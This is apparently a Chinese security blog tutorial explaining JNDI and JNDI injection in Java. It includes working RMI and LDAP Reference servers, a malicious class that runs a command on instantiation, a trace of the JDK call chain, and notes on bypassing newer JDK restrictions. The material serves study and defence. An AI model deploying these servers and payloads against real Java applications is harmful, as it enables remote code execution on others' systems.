Java安全之JNDI分析与利用

简介

官方文档解释:

The Java Naming and Directory Interface™ (JNDI) is an application programming interface (API) that provides naming and directory functionality to applications written using the Java™ programming language. It is defined to be independent of any specific directory service implementation. Thus a variety of directories -new, emerging, and already deployed can be accessed in a common way.

JNDI即(Java Naming and Directory Interface),包括Naming Service和Directory Service。
重点在于Interface这个词,表示JNDI是Java的API,允许客户端通过名称发现和查找数据、对象。

架构图如下,包括API和服务提供商接口(SPI):

服务
JNDI包含在Java SE平台中,需要使用JNDI的条件是:包含JNDI类和服务提供者。JDK中包含以下Naming/Directory服务:

  • 轻量级目录访问协议(LDAP)
  • 通用对象请求代理体系结构(CORBA) 通用对象服务(COS)
  • Java远程方法调用(RMI)
  • 域名服务(DNS)

在JDK中提供了5个包用于实现JNDI功能:

  • javax.naming
  • javax.naming.directory
  • javax.naming.ldap
  • javax.naming.event
  • javax.naming.spi

注意

  1. Naming Service与Directory Service的区别在于:目录服务中对象可以有属性,命名服务中对象没有属性

参考
https://docs.oracle.com/javase/tutorial/jndi/overview/index.html

示例

InitialContext类

构造方法

1
2
3
4
5
6
// 构建一个初始的上下文
InitialContext()
// 构建一个上下文,并选择是否初始它
InitialContext(boolean lazy)
// 使用提供的环境构建初始上下文
InitialContext(Hashtable<?,?> environment)

常用方法

1
2
3
4
5
bind(Name name, Object obj) 
list(String name)
lookup(String name)
rebind(String name, Object obj)
unbind(String name)

其他详情可参考:https://docs.oracle.com/javase/8/docs/api/javax/naming/InitialContext.html

JNDI+RMI服务示例
先定义一个Person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package JNDI;

import java.io.Serializable;
import java.rmi.Remote;

public class Person implements Remote, Serializable {
// 远程调用的类需要满足的条件
// 继承Remote、Serializable
// 方法为public
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public String sayhello(){
return "Hello";
}
}

服务端:在RMI注册表上注册远程对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package JNDI;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class Server {
public static void start() throws RemoteException, NamingException{
// 用于创建RMI注册表
LocateRegistry.createRegistry(1099);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");

// 初始化
InitialContext initialContext = new InitialContext();
// 实例化对象
Person person = new Person("mike", 22);
// 将person对象绑定到JNDI服务中
initialContext.bind("person", person);
initialContext.close();
while (true) {
try {
Thread.sleep(Long.MAX_VALUE);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}

public static void main(String[] args) throws NamingException, RemoteException, MalformedURLException, AlreadyBoundException {
new Server().start();
}
}

注意:里面while循环的目的是添加一个无限循环或阻塞线程的代码,防止在将对象绑定到JNDI服务上后,执行流程结束退出程序,导致JVM关闭。此代码仅用于测试
另外使用 Naming.rebind 创建 RMI 注册表不需要阻塞,因为该方法会一直运行直到 JVM 退出或者 Naming.unexportObject 方法被调用

客户端:通过lookup寻找远程对象

1
2
3
4
5
6
7
8
9
10
11
12
package JNDI;

import javax.naming.InitialContext;

public class Client {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
Person p = (Person)initialContext.lookup("rmi://localhost:1099/person");
String result = p.sayhello();
System.out.print(result);
}
}

JNDI中服务端的代码还可以是

1
2
3
4
5
6
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
Context ctx = new InitialContext(env);

Reference类

Reference类表示对存在于命名/目录系统以外的对象的引用
构造方法

1
2
3
4
5
6
// 为类名称为 "className "的对象构造一个新引用
Reference(String className)
// 为类名称为 "className "的对象和地址构造一个新引用
Reference(String className, RefAddr addr)
Reference(String className, RefAddr addr, String factory, String factoryLocation)
Reference(String className, String factory, String factoryLocation)
  • className:远程加载时所使用的类名;
  • classFactory:加载的class中需要实例化类的名称;
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

常用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 将地址添加到索引posn的地址列表中
void add(int posn, RefAddr addr)
// 将地址添加到地址列表的末尾
void add(RefAddr addr)
// 从此引用中删除所有地址
void clear()
// 检索索引posn上的地址
RefAddr get(int posn)
// 检索地址类型为addrType的第一个地址
RefAddr get(String addrType)
Enumeration<RefAddr> getAll()
String getClassName()
String getFactoryClassLocation()
String getFactoryClassName()
Object remove(int posn)
int size()
String toString()

其他详情参考:https://docs.oracle.com/javase/8/docs/api/javax/naming/Reference.html

示例
环境:java1.8_66
服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class ReferServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7777);

// 创建Reference对象
Reference reference = new Reference("test", "test", "http://127.0.0.1:8080/");
// 由于Reference类没有继承Remote接口, 所以需要使用ReferenceWrapper进行封装
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("exec", wrapper);
}
}

恶意的test类:

1
2
3
4
5
public class test {
public test() throws Exception {
Runtime.getRuntime().exec("calc");
}
}

使用对应的javac版本编译后,使用python开启8080端口的web服务

1
2
javac test.java
python -m http.server 8080

:这里的test.java和test.class千万不要放在和Client同目录,这样会造成test远程对象从CLASSPATH中加载
客户端代码:

1
2
3
4
5
6
7
8
9
10
package JNDI;

import javax.naming.InitialContext;

public class ReferClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:7777/exec");
}
}

流程:客户端通过lookup()获取远程对象时,获得一个Reference类的存根,由于获得的是一个Reference实例,客户端首先会去CLASSPATH寻找一个被标识为test的类,如果本地没有找到,则会请求http://localhost:8080/test.class动态加载并调用test的构造函数。

JDNI链分析

RMI+Reference

针对2.2中的Reference示例进行详细分析,其调用链如下:

1
2
3
4
5
6
7
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:8, ReferClient (JNDI)

InitialContext.lookup函数:

1
2
3
4
5
public Object lookup(String name) throws NamingException {
// getURLOrDefaultInitCtx函数分析name的协议头并返回对应协议的环境对象,然后在对应协议中调用lookup函数寻找name
// 上述实验环境中返回的是rmiURLContext对象
return getURLOrDefaultInitCtx(name).lookup(name);
}

GenericURLContext.lookup函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object lookup(String var1) throws NamingException {
// 获取指定name的JNDI上下文对象
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
// 获取解析出的JNDI对象,并强制转换成Context类型
Context var3 = (Context)var2.getResolvedObj();

Object var4;
try {
// 调用lookup查询
var4 = var3.lookup(var2.getRemainingName());
} finally {
var3.close();
}

return var4;
}


RegistryContext.lookup函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
// 这里的registry其实是Stub,在存根中寻找var1对应的对象
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
// 如果远程注册表中存在var1对应的对象,则调用decodeObject将远程对象转换成本地的Java对象
return this.decodeObject(var2, var1.getPrefix(1));
}
}


RegistryContext.decodeObject函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
// 首先判断var1是否是远程引用,如果是则会与RMI服务器进行一次连接获取远程Class文件的地址,否则不会进行连接
// 这里是远程引用,根据结果截图可以知道这里得到了远程对象的地址
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
// 将var3转换成本地Java对象
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}


NamingManager.getObjectInstance函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{

ObjectFactory factory;

// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
// 不执行
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}

// Use reference if possible
Reference ref = null;
// 传入的refInfo确实是Reference对象
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}

Object answer;
// if条件成立,进入
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
// 注意这里,从引用对象中获取对象工厂 ObjectFactory 的实现类对象
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}


NamingManager.getObjectFactoryFromReference函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// 尝试本地获取class
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
// 从本地的classpath获取失败,尝试从cosebase获取,这里的cosebase即web服务的地址
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
// 实例化恶意Class文件,触发代码执行
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}


此时将远程的恶意类实例化,其构造函数在实例化过程中默认执行,进而命令执行然后程序报错退出。
防止程序报错退出的方法是让恶意类继承ObjectFactory接口并重写getObjectInstance方法

1
2
3
4
5
6
7
8
9
10
11
import java.util.Hashtable;
import javax.naming.*;
import javax.naming.spi.ObjectFactory;
public class test implements ObjectFactory{
public test() throws Exception {
Runtime.getRuntime().exec("calc");
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx,Hashtable<?,?> environment) throws Exception{
return null;
}
}

这样客户端在命令执行后就能够正常退出程序了
详细流程:参考网上一张详细的图

JNDI+LDAP

LDAP简介:轻量目录访问协议(Lightweight Directory Access Protocol),基于TCP/IP协议,分为服务端和客户端,使用树形存储,用于在分布式环境中访问和管理目录服务
示例
添加依赖:

1
2
3
4
5
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>

服务端:参考marshalsec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package JNDI;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LdapServer {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8080/#test"};
int port = 9999;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

客户端:

1
2
3
4
5
6
7
8
9
10
package JNDI;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LdapClient {
public static void main(String[] args) throws NamingException {
new InitialContext().lookup("ldap://127.0.0.1:9999/test");
}
}

恶意test类与RMI+Reference一致,同样也需要开启web服务供客户端远程加载恶意类
调用链如下:

1
2
3
4
5
6
7
8
9
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:8, LdapClient (JNDI)

攻击过程与上述RMI+Reference一致,但是使用LDAP不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制

总结

版本限制

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项。
  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项。

打开方式,程序启动时加上:
-Dcom.sun.jndi.rmi.object.trustURLCodebase=true

更高版本绕过限制

针对于JDK8u191+等更高版本的限制,可以使用下面方式进行绕过

  • 利用本地的类作为Reference的Factory
    在上述代码分析过程中,首先会在本地的ClassPath中寻找Reference Factory Class,在本地没有找到的情况下,再从远程的地址上加载恶意类。现在更高版本限制了远程的加载,故可以从本地的类入手
    本地的类需要满足以下条件:实现了javax.naming.spi.ObjectFactory接口并至少存在getObjectInstance()方法
    而Tomcat依赖包中存在一个org.apache.naming.factory.BeanFactory满足以上条件并存在利用的可能
  • 利用LDAP返回序列化数据,触发本地的Gatget链
    例如与本地的CC链、FastJson组件、JdbcRowSetImpl等进行组合利用

参考

搞懂JNDI | fynch3r的小窝
Java安全之JNDI注入 - nice_0e3 - 博客园 (cnblogs.com)
JDNI及其LADP学习 - R0ser1 - 博客园 (cnblogs.com)
JNDI注入原理及利用考究
JNDI注入原理及利用
更高版本绕过限制参考:
如何绕过高版本 JDK 的限制进行 JNDI 注入利用 (seebug.org)
8u191后的JNDI注入利用 - Atomovo - 博客园 (cnblogs.com)
JNDI注入学习
搞懂RMI、JRMP、JNDI-终结篇